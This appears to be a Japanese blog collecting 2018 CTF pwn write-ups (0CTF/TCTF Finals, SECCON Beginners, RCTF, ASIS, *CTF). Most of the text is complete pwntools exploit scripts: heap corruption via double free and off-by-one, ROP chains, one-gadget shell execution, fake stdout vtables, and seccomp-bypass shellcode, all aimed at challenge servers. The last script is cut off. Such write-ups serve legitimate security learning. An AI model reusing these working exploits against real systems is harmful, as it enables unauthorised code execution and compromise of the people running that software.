ブログ未満のなにか

ブログなのか誰にも分からない

0CTF/TCTF Finals Baby Heap 18.04, freenote2018 writeup

Baby Heap 18.04

機能

起動すると以下のように機能を選択できる。

===== Baby Heap 18.04 =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command:

各機能は、

  • 1. Allocate 0x1 ~ 0x58までのサイズでmallocを実行できる。取得された領域はmemsetによって取得したサイズ分0埋めされる。ポインタは、bss上にある配列でサイズ、管理フラグと共に保管される。
  • 2. Update 指定したindexの領域へ、サイズを指定して書き込みを行える。サイズはAllocateで指定したサイズ+1まで指定できる。off-by-one overflow
  • 3. Delete 指定したindexをfreeする。管理フラグを0にする。
  • 4. View 指定したindexの領域を、Allocateした時のサイズ分だけwriteで出力する。

方針

Updateでoff-by-one overflowがあるので、直下のチャンクのサイズを任意の値にすることができる。 まずは、チャンクのoverlapを起こし、address leakを行う。heapのアドレスは簡単に取ることできるが、この問題の環境はubuntu 18.04でありglibc 2.27である。つまりtcacheが有効になっている。tcacheが有効な環境では、サイズが0x420以上のチャンクをfreeすれば、そのチャンクはunsorted binに入り、fd/bkにmain_arenaを指すポインタが置かれる。あとはこのアドレスを出力させればいい、

制御の奪取はとても簡単で、tcacheには、繋がっているチャンクのサイズの確認が一切なく、fake chunkのサイズに該当する部分がどのような値であろうと問題なく動作する。__free_hookを指すようにtcacheのfdを書き換えて、mallocするだけで、__free_hookを指す領域を取得できる。

exploit

0CTF/TCTF 2018 Finals Baby Heap 18.04 pwn · GitHub

freenote2018

機能

選択肢は以下の5つ。

1. init a note
2. edit a note
3. free a note
4. show a note
5. exit

各機能は以下の通りである。

  • init a note 指定したサイズでmallocを実行できる。サイズの制限は0x1 ~ 0x100となっている。確保した領域のポインタはbss上にある配列でポインタと一緒に管理される。
  • edit a note index指定で1で取得した領域へ書き込みができる。書き込みできるサイズは、initした時のサイズと同じであり、overflowはない。
  • free a note index指定で指定した領域をfreeできる。free後にポインタをNULL埋めしないため、double freeできる。
  • shoe a note 選択肢として存在するだけで、何もしない(表示もしない)

freeしたポインタがそのまま残っており、editとfreeで何度でも指定することができる。ただし、address leakに使えそうな機能が存在しない。

方針

最近読んで覚えていたので、以下の手法を使った。 House_of_Roman.md · GitHub

手法の概要は、unsortedbinに繋がるチャンクをfastbinsの方へforgeし、さらにチャンクのfdのmain_arena辺りを指すポインタをpartialで書き換えることで、__malloc_hook付近を指すように書き換えてfastbin attackを成立させる。これで__malloc_hook付近を覆うようにmallocで取得できる。 さらに、__malloc_hookへunsortedbin attackによってlibcのアドレスを書き込み、partialで下位3byteを書き換えることで、one gadget RCEのアドレスを作る、といったものである。当然だが、brute forceが必要であり提案者は12bit分だと言っている(体感だともっと悪い気がする)。

今回のバイナリでは、

  • initでmallocはするが書き込みeditと別になっている
  • UAFによるfd辺りの書き換えがeditで容易にできる
  • double freeによってfastbin attackが用意である といった感じで都合が良い。

exploit

12bit brute forceが必要となる。

0CTF/TCTF 2018 Finals freenote2018 pwn · GitHub

SECCON BeginnersCTF 2018 writeup

はじめに

ShenzhenWesternsで参加して全完した。普段はTokyoだが、0CTF Finalsで深圳に行っているメンバーがいたのでShenzhenになった(たぶん)

condition

main関数での[rbp-0x4]が0xdeadbeefであれば、flagが出力される。

# python -c 'print "\xef\xbe\xad\xde"*0x10' | nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

BBS

入力でgets()を使っているので自明なstack bof。 バイナリ内でsystemを使っているので、適当にROPするだけ。 '/bin/sh'が必要なので、先にgets()bssあたりに書き込み、systemを呼んだ。

SECCON BeginnersCTF 2018 BBS · GitHub

Seczon

comment機能にFSBがある。 まずは、libcとstackのアドレスをリークした。 制御を取るためにstackに積まれているmain関数の戻りアドレスを書き換えた。 commentとして入力した文字列は、stackにそのまま乗っているのでやるだけ。

SECCON BeginnersCTF 2018 Seczon · GitHub

Veni, vidi, vici

1行目は、ROT13。2行目は、https://quipqiup.com/ に投げた。3行目は読むだけ。

plain mail

zipファイルがbase64で見えるので、取り出す。zipのパスワードはメール中に書いてある。

てけいさん

やるだけ

SECCON BeginnersCTF 2018 てけいさん · GitHub

RCTF 2018 writeup

babyheap

bug: 1. Allocにoff-by-one single byte null overflowがある。 下のチャンクのsizeが上書きでき、サイズの縮小とPREV_INUSEビットのクリアができる。 適当にやればチャンクのoverlapができるので、libcのアドレスをリークをしてfastbin attackをした。 __malloc_hookにone gadget rceを書き込んだ。

https://gist.github.com/hama7230/86643fbf8ad4b6f31521e77a3339b4cf

RNote4

editで入力するサイズの整合性を確認していないため、allocで作成した時のサイズよりも大きい値を入れればheap bofとなる。 editで書き込めるポインタがあるので、そこを書き換えることで任意アドレスの書き換えが出来るようになる。 リークができそうな部分がないが、No PIEでNo RELROとなっているので何とでも出来る。 No RELROなのでstrtabを偽装して、名前解決時にfreeをsystemへとすり替えた。

https://gist.github.com/hama7230/2483803ead0853b7b218b5402986b9fe

stringer

競技中には解けなかった。 UAFがありdouble freeができる。しかしcallocによって割り当てられた領域は0初期化されてしまうので、アドレスのリークができない。 callocでは、IS_MMAPPEDビットがたつチャンクの0初期化が行われないようになっているので、editで当該ビットを立てるようにする。

あとはfastbin attackから__malloc_hookへone gadget rceを書き込んだ。

https://gist.github.com/hama7230/9c74cf53fa2d553cb3baea56a881fbbc

cpushop

hash length extention attackをする。

https://gist.github.com/hama7230/c6b89247bb7a941cdc4e976e16232779

git

blobをzlibで解凍してみたら、flagがあった。

ASIS CTF Quals 2018 writeup

Cat

editで更新をしないとUAFが起きるので適当にやった

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./Cat')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6000
LHOST = "127.0.0.1"
LPORT = 6000

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./Cat'], gdbscript=gdbscript)
else:
    conn = process(['./Cat'])
    # conn = process(['./Cat'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def create(name, kind, age):
    conn.sendlineafter('which command?', '1')
    conn.sendafter('name?', name)
    conn.sendafter('kind?', kind)
    conn.sendlineafter('old?', str(age))

def edit(idx, name, kind, age, flag):
    conn.sendlineafter('which command?', '2')
    conn.sendlineafter('id?', str(idx))
    conn.sendafter('name?', name)
    conn.sendafter('kind?', kind)
    conn.sendlineafter('old?', age)
    conn.recvuntil('/n> ')
    if flag:
        conn.sendline('y')
    else:
        conn.sendline('n')
def delete(idx):
    conn.sendlineafter('> ', '5')
    conn.sendlineafter('> ', str(idx))


# exploit
log.info('Pwning')

create('a'*8, 'b'*8, 20)
edit(0, 'x'*8, 'y'*8, '20', False)
create('e'*8, p64(0x602000), 20)
edit(0, 'w'*8, p64(0x602068), '20', True)
conn.recvuntil('which command?')
conn.sendline('4')
conn.recvuntil('name: ')
conn.recvuntil('name: ')
libc_base = u64(conn.recv(6) + '\x00\x00') - 0x36e80
dbg("libc_base")

create('a'*8, 'b'*8, 20)
create('s'*0x10, 'v'*0x10, 20) # 3
edit(3, 'x'*0x10, p64(0x602068) * 2, '20', False)
create('x'*10, p64(0x602068)*2, 100)
edit(3, 'hogehoge', p64(libc_base + 0x45390), '/bin/sh\x00', False)

conn.interactive()

FCascasde

適当にstdinの_IO_buf_baseへnull byteを書き込んで制御をとった。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./fstream')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6002
LHOST = "127.0.0.1"
LPORT = 6002

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """
    b *0x400A91
    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./fstream'], gdbscript=gdbscript)
else:
    conn = process(['./fstream'])
    # conn = process(['./fstream'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

# exploit
log.info('Pwning')

conn.recvuntil('>')
conn.sendline('11010110\x00')
conn.recvuntil('>')
conn.send('0'*0x98)
conn.recvuntil('0'*0x98)
libc_base = u64(conn.recv(6)+'\x00'*2) - 0x20830
dbg('libc_base')
conn.recvuntil('>')
conn.send('0'*0x30 + p64(libc_base + 0x4526a) + p64(0)* 0x10)

conn.recvuntil('>')
conn.sendline('1'*0x8)
conn.recvuntil('>')
conn.sendline('10110101')
conn.recvuntil('>')
conn.sendline(str(libc_base + 0x3c4918 + 1))
conn.recvuntil('>')
payload = p64(0xdeadbeef) * 3
payload += p64(libc_base + 0x3c4b10)  + p64(libc_base + 0x3c4b10 + 0x10) + p64(0)
conn.sendline(payload)
conn.sendline('x'*0x10 + p64(libc_base + 0x00036cfc ))

conn.interactive()

Fifty Dollars

0x60のchunkしかmallocできないが、double freeがあるので適当にやった。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./fifty_dollars')
context(os='linux', arch=elf.arch)
#context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6001
LHOST = "127.0.0.1"
LPORT = 6001

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./fifty_dollars'], gdbscript=gdbscript)
else:
    conn = process(['./fifty_dollars'])
    # conn = process(['./fifty_dollars'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def alloc(idx, tmp):
    conn.sendlineafter('Your choice:', '1')
    conn.sendlineafter('Index:', str(idx))
    conn.sendafter('Content:', tmp)

def show(idx):
    conn.sendlineafter('Your choice:', '2')
    conn.sendlineafter('Index:', str(idx))

def delete(idx):
    conn.sendlineafter('Your choice:', '3')
    conn.sendlineafter('Index:', str(idx))

# exploit
log.info('Pwning')

alloc(0, 'hoge'*0x8)
alloc(1, 'hoge'*0x8)
delete(1)
delete(0)
show(0)
buf = conn.recvuntil('Done!')[:6]
heap_base = u64(buf+'\x00'*2) - 0x60
dbg("heap_base")
alloc(0, 'x'*0x20)
alloc(1, 'y'*0x40+p64(0)+p64(0x61))
alloc(2, 'z'*0x20)
alloc(3, 'w'*0x20)
alloc(4, 'u'*0x20)
delete(0)
delete(1)
delete(0)
alloc(0, p64(heap_base+0xb0) + 'hogehoge')
alloc(1, 'hoge')
alloc(1, 'hoge')
payload = p64(0) + p64(0xc1)
alloc(1, payload)
delete(2)
show(2)
buf = conn.recvuntil('Done!')[:6]
libc_base = u64(buf+'\x00'*2) - 0x3c4b78
dbg("libc_base")
alloc(1, 'hoge'*11 + 'x'*8)
alloc(1, 'hoge'*10)
alloc(0, 'x'*0x20)
alloc(1, 'y'*0x40+p64(0)+p64(0x61))
alloc(2, 'z'*0x40+p64(0)+p64(0x61))
payload = p64(0) + p64(0xc1)
alloc(1, payload)
alloc(3, p64(0xdeadbeef)*2)
alloc(4, 'u'*0x30 + p64(0) + p64(0x31))
aa = 59
for i in range(aa - 13):
    print i
    alloc(8, 'a')
for i in range(13 - 4):
    print i
    alloc(8, 'b')
payload = 'x'*0x20
payload += p64(0) + p64(0x31)
alloc(8, payload)
for _ in range(3):
    alloc(8, 'c')
payload = 'x'*0x10
payload += p64(0) + p64(0x31)
alloc(8, payload)
delete(0)
delete(1)
delete(0)
alloc(0, p64(heap_base+0x290) + 'hogehoge')
alloc(1, 'hoge'*12 + p64(libc_base + 0x3c49c0))
alloc(1, 'hoge'*10)
payload = p64(0) + p64(0xc1) + p64(libc_base + 0x4526a) * 8
alloc(1, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x61) + p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c67f8 - 0x10 )
alloc(7, payload)
payload = p64(libc_base + 0x3c4b78) * 2
alloc(7, payload)
delete(1)
payload = p64(0) + p64(0x181) +  p64(libc_base + 0x3c4b78)  * 2
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x61)
payload += p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c5520 - 0x10)
alloc(9, payload)
delete(1)
payload = p64(0) + p64(0x17c1) + p64(0) * 2 
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x17c1 - 0x10*23) + p64(0) * 2   
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) * 3 + p64(libc_base + 0xf1147)
alloc(1, payload)

conn.interactive()

My Blog

seccompでsandboxになっているが、openはopenatで簡単に回避できるので、stagerを流して本体のshellcodeを実行させた。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./myblog')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "159.65.125.233"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./myblog'], gdbscript=gdbscript)
else:
    conn = process(['./myblog'])
    # conn = process(['./myblog'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def write(con, aut):
    conn.sendlineafter('4. Exit\n', '1')
    conn.recvuntil('content')
    conn.sendline(con)
    conn.recvuntil('author')
    conn.sendline(aut)

def delete(idx):
    conn.sendlineafter('4. Exit\n', '2')
    conn.sendlineafter('index', str(idx))

def show(name):
    conn.sendlineafter('4. Exit\n', '3')

    conn.send(name)

def bof(pay):
    conn.sendlineafter('4. Exit\n', '31337')
    conn.recvuntil('gift 0x')
    addr = int(conn.recv(12), 16) - 0x0
    conn.send(pay)
    return addr

# exploit
log.info('Pwning')

bin_base = bof('abcd') - 0xef4
dbg('bin_base')
for i in range(0x31):
    write('hoge', 'fuga')
show(p64(bin_base + 0x202040)[:7])
delete(-1)
for i in range(0x31):
    delete(i)
write('x'*0x2e, 'y'*4)

conn.sendline('3')
conn.recvuntil('Old Owner : ')
heap_base = u64(conn.recv(6)+'\x00'*2) - 0x970
dbg("heap_base")
conn.sendline('hoge')

# 0x0000116b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
pop_rbp_r12_r13_r14_r15 = bin_base + 0x0000116b
pop_rdi = bin_base + 0x00001173
pop_rbp = bin_base + 0x00000990
pop_rsi_r15 = bin_base + 0x00001171
# : pop rsi ; pop r15 ; ret  ;  (1 found)
leave_ret = bin_base + 0x10fa
heap = heap_base + 0x1ef0 + 0x38


rop = p64(pop_rdi) + p64(0x0)
rop += p64(pop_rbp) + p64(bin_base +0x202040)
rop += p64(leave_ret)

write(rop[:0x2e], 'y'*0x6)
write('x'*0x2e, 'y'*0x6)
write('x'*0x2e, 'y'*0x6)


#write('x'*0x20, 'y'*4)
shellcode = '''
hoge: syscall;
push rcx;
pop rsi;
pop rax;
jmp hoge;
'''
show(asm(shellcode))
raw_input('exec shellcode')
bof(p64(heap)*2+p64(bin_base + 0x000010fa))

shellcode = '''
push 0x30
pop rax
xor al, 0x30
push rax
mov rax, 7449354444781596526
push rax
mov rax, 8606431000579237935
push rax

mov rdi, -100
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov rax, 257
syscall

mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 0x100
xor rax, rax
syscall

mov rdi, 0x1
lea rsi, [rsp+0x100]
mov rdx, 0x100
mov rax, 1
syscall
'''
conn.sendline('\x90'*0x30 + asm(shellcode))

conn.interactive()

Message Me!

リモートと手元の環境ではtimezoneが違うせいか、ctimeによってheapの状況が変わり元々のexploitは刺さらなかった。固定アドレスとなっているbss上に必要なものを配置した。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./message_me')
context(os='linux', arch=elf.arch)
# context(log_level='debug')  # output verbose log

RHOST = "159.65.125.233"
RPORT = 6003
LHOST = "127.0.0.1"
LPORT = 6003

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./message_me'], gdbscript=gdbscript)
else:
    conn = process(['./message_me'])
    # conn = process(['./message_me'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def add(size, mess):
    conn.sendlineafter('choice : ', '0')
    conn.sendlineafter('size : ', str(size))
    conn.sendafter('meesage', mess)

def remove(idx):
    conn.sendlineafter('choice : ', '1')
    conn.sendlineafter('Give me index of the message : ', str(idx))
    conn.recvuntil('Done')

def show(idx):
    conn.sendlineafter('choice : ', '2')
    conn.sendlineafter('Give me index of the message : ', str(idx))

def change_time_stamp(idx):
    conn.sendlineafter('choice : ', '3')
    conn.sendlineafter('Give me index', str(idx))
    conn.recvuntil('Done')

# exploit
log.info('Pwning')

add(0xf00, 'hoge'*10)
add(0x100, 'hoge'*10)
remove(0)
add(0x80, 'x')
show(2)
conn.recvuntil('Message : ')
libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c5178
dbg('libc_base')
stdout = libc_base + 0x3c5620
stdin = libc_base + 0x3c48e0

add(0x60, p64(0x71) + p64(0x602075))   # 3
add(0x60, 'hoge')   # 4
remove(3)
remove(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
add(0x60, 'hoge')
add(0x60, 'hoge')
payload = 'x'*0xb + 'y'*8
payload += p64(libc_base + 0x3c5620) * 2+p64(libc_base + 0x3c48e0)  + p64(0x181)
payload += p64(0x6020c0) + p64(0x602230+8)+ p64(0x602230+0x28)
print hex(len(payload))
add(0x60, payload)

change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(2)
change_time_stamp(2)
change_time_stamp(2)
change_time_stamp(2)
remove(0)
fake_stdout = p64(0x0)
fake_stdout += p64(0xfbad2887) + p64(0)*2+p64(libc_base + 0x3c56a3) * 5 + p64(libc_base +0x3c56a4)
fake_stdout += p64(0)*4 + p64(libc_base+0x3c48e0)
fake_stdout += p64(1) + p64(0xffffffffffffffff)
fake_stdout += p64(0) + p64(libc_base+0x3c6780)
fake_stdout += p64(0xffffffffffffffff) + p64(0)
fake_stdout += p64(libc_base+0x3c47a0) + p64(0)*3
fake_stdout += p64(0xffffffff) + p64(0)*2
fake_stdout += p64(0x6021b0)
vtable = 'a'*0x18 + p64(libc_base + 0x4526a) + 'c'*0x18 + p64(libc_base + 0x791e0) + 'b'*0x30
add(0x170, fake_stdout+vtable)

add(0x60, p64(0x71)+p64(0x602075))
add(0x60, 'fugafugafugafuga')
remove(3)
remove(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(4)
add(0x60, 'fugafugafugafuga')
add(0x60, 'fugafugafugafuga')
add(0x60, 'x'*0xb + 'y'*8 + p64(0x6020d0))

conn.interactive()

* CTF 2018 writeup

warmup (misc)

miscだがpwnだった。 stack bofがあるのでやるだけ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.91.226.78"
RPORT = 10006
LHOST = "127.0.0.1"
LPORT = 10006

# libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')
elf = ELF('./warmup')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./warmup'], execute)
else:
    conn = process(['./warmup'])
    # conn = process(['./warmup'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'})

# preparing for exploitation


pop_rdi = 0x00400a63
# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
call_r12 = 0x00400a40
# pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
set_regs = 0x00400a5a
printf_got = 0x0000000000600fc8
puts_plt = elf.symbols['puts']
main_addr = 0x4008B9


log.info('Pwning')

conn.sendlineafter('for?', str(0x601030))
conn.recv(1)
heap_addr = int(conn.recvline(), 16)
log.info('heap_addr = 0x%x', heap_addr)

payload = 'x'*0x18 + p64(heap_addr) + 'y'*0x8 + p64(main_addr)
conn.sendline(payload)

conn.sendlineafter('for?', str(0x601010))
conn.recv(1)
libc_base = int(conn.recvline(), 16) - 0x3c5620
log.info('libc_base = 0x%x', libc_base)

payload = 'x'*0x18 + p64(heap_addr+0x20) + 'y'*0x8 + p64(libc_base + 0x4526a) + p64(0) * 10
conn.sendline(payload)

conn.interactive()

urlparse (pwn)

size 0にするとbkに該当する部分からアドレスリークができる。 top chunkを移動させることでchunk sizeを巻き込んだencode/decodeができ、chunk sizeの改竄ができる。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "47.75.4.252"
RPORT = 10013
LHOST = "127.0.0.1"
LPORT = 10013

# libc = ELF('')
elf = ELF('./urlparse2')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./aaa'], execute)
else:
    conn = process(['./urlparse2'])
    # conn = process(['./c1c1d680-836d-4b96-8648-772ee5cd81b7.urlparse-47e10be0295a1c6c479a260239f5e0b1fd0c9696'], env={'LD_PRELOAD': ''})

# preparing for exploitation
def create(size, url):
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('size: ', str(size))
    conn.sendlineafter('URL: ', url)

def encode(idx):
    conn.sendlineafter('> ', '2')
    conn.sendlineafter('index: ', str(idx))

def decode(idx):
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('index: ', str(idx))

def _list():
    conn.sendlineafter('> ', '4')

def delete(idx):
    conn.sendlineafter('> ', '5')
    conn.sendlineafter('index: ', str(idx))


log.info('Pwning')

create(0x80, '%31%31%31')
create(0x80, '%31%31%31')
delete(1)
create(0x0, '')
_list()
conn.recvuntil('0: ')
libc_base = u64(conn.recv(6) +'\x00\x00') - 0x3c4bf8
log.info('libc_base = 0x%x', libc_base)
delete(1)
delete(0)
create(0x80, 'xxxx')
create(0x80, 'yyyy')
create(0x80, 'wwww')
create(0x80, 'zzzz')
delete(0)
delete(1)
create(0x0, '')
_list()
conn.recvuntil('0: ')
heap_base = u64(conn.recv(6) +'\x00\x00') - 0xb0
log.info('heap_base = 0x%x', heap_base)
delete(0)
delete(0)
delete(0)

create(0x100, '\x10'*0x100)
delete(0)
create(0, '')
create(0x1000, 'hoge')
create(0x1000, 'hoge')
create(0x60, 'targetfastbin')
create(0x1000-0x70, 'hoge')
create(0x100, 'BANPEI')
encode(5)
delete(4)
delete(2)   # free fastbin

import urllib

for _ in range(0x20-2):
    create(0x100, 'hoge')

payload = 'h'*0x30
payload += '%25%37%31' + '%25%30%30' * 7
payload += urllib.quote(urllib.quote(p64(libc_base + 0x3c4aed)))
create(0x100, payload)
decode(0)
create(0x60, 'a')
payload = 'x'*0xb + p64(libc_base + 0xf1147)
create(0x60, payload)

conn.interactive()

babtstack (pwn)

よくわからんがcanaryがあるはずなのに、exloitできてしまった。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.91.226.78"
RPORT = 10005
LHOST = "127.0.0.1"
LPORT = 10005

# libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')
elf = ELF('./bs')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400a9c
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./bs'], execute)
else:
    conn = process(['./bs'])
    # conn = process(['./bs'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'})

# preparing for exploitation

pop_rbp = 0x00400870
leave_ret =  0x00400955
pop_rdi = 0x00400c03
pop_rsi_r15 = 0x00400c01
# pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
set_regs = 0x400bfa
# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
call_r12 = 0x00400be0
puts_plt = elf.symbols['puts']
read_plt = elf.symbols['read']
read_got = 0x0000000000601fd0


log.info('Pwning')

conn.recvuntil('send?')
conn.sendline(str(0x20c0))
time.sleep(0.01)

payload = 'x'*(0x20c0 - 0x10a8)
rop = p64(0x00400c03) + p64(0x601fd8) + p64(puts_plt)
rop += p64(set_regs) + p64(0x0) + p64(0x1) + p64(read_got) + p64(0x100) + p64(0x602f00) + p64(0)
rop += p64(call_r12) + p64(0x0)*7
rop += p64(pop_rbp) + p64(0x602f00) + p64(leave_ret)
payload += rop

conn.send(payload.ljust(0x20c0, 'x'))
conn.recvuntil('goodbye.\n')

libc_base = u64(conn.recv(6) + '\x00'*2) - 0x20740
log.info('libc_base = 0x%x', libc_base)

rop = '\x00'*0x8 + p64(pop_rdi) + p64(libc_base + 0x18cd57) + p64(libc_base + 0x45390)
rop = '\x00'*0x8 + p64(libc_base + 0x4526a)
conn.sendline(rop)
conn.interactive()

primepwn (pwn)

long型の数値を入力すると、それが素数かどうか判定する。 素数であればその値をshellcodeとして実行してくれる。 素数となるstagerを送った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "47.89.18.224"
RPORT = 10008
LHOST = "127.0.0.1"
LPORT = 10008

# libc = ELF('')
elf = ELF('./primepwn')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400a87
        b *0x400a3a
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./primepwn'], execute)
else:
    conn = process(['./primepwn'])
    # conn = process(['./primepwn'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')
conn.recvuntil('(xxxx+')
salt = conn.recv(len('cACBELX3C9pULUUB'))
print salt
